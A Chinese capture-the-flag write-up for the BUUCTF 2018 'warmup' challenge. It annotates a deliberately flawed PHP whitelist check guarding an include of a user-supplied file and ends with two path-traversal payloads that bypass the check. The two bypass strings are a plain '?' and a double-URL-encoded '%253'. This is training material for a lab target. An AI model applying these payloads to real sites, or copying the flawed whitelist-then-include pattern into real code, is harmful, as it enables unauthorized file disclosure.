buuctf 2018 warmup

本文分析了一段PHP代码,该代码涉及安全检查和文件包含功能。通过检查`$_REQUEST['file']`参数是否符合特定条件,如非空、字符串类型以及在白名单内,来决定是否加载指定文件。代码中使用了URL解码和字符串截取等技巧来增强安全性。若不满足条件,则显示一张滑稽图片。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开时滑稽图 F12看到了source.php
点进去

<?php
    highlight_file(__FILE__);
    class emmm   //这里就是一个类
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];   //白名单
            if (! isset($page) || !is_string($page)) {  //这个比较好过  只要page不存在或者不是字符串  
                echo "you can't see it";  #输出
                return false;   //失败了
            }

            if (in_array($page, $whitelist)) {  
            //判断page在不在白名单里面  如果在
                return true;
            }

            $_page = mb_substr(  //在中文字符串中取0?这么长的字节
                $page,
                0,
                mb_strpos($page . '?', '?')  
            );
            if (in_array($_page, $whitelist)) {
            //判断page在不在白名单里面  如果在
                return true;
            }

            $_page = urldecode($page);//进行url解码
            $_page = mb_substr(  //再进行一次取字符串0-?之间这么长个字节
                $_page,
                0,
                mb_strpos($_page . '?', '?')//  hint.php?flag
            );
            if (in_array($_page, $whitelist)) {
            //判断page在不在白名单里面  如果在
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
   #要满足下面三个条件才能输出flag
    if (! empty($_REQUEST['file'])  //如果file不是空
        && is_string($_REQUEST['file']) //file要是字符串
        && emmm::checkFile($_REQUEST['file']) //  file可以在checkfile返回true
    ) {
        include $_REQUEST['file'];
        exit;
    } else {  // 否则只能返回图片
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

构造playload

#要满足下面三个条件才能输出flag
    if (! empty($_REQUEST['file'])  //如果file不是空
        && is_string($_REQUEST['file']) //file要是字符串
        && emmm::checkFile($_REQUEST['file']) //  file可以在checkfile返回true

最终playload
1.
source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
2.
经过两次url解码后的?=%253
source.php?file=hint.php%253/../../../../../../ffffllllaaaagggg
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值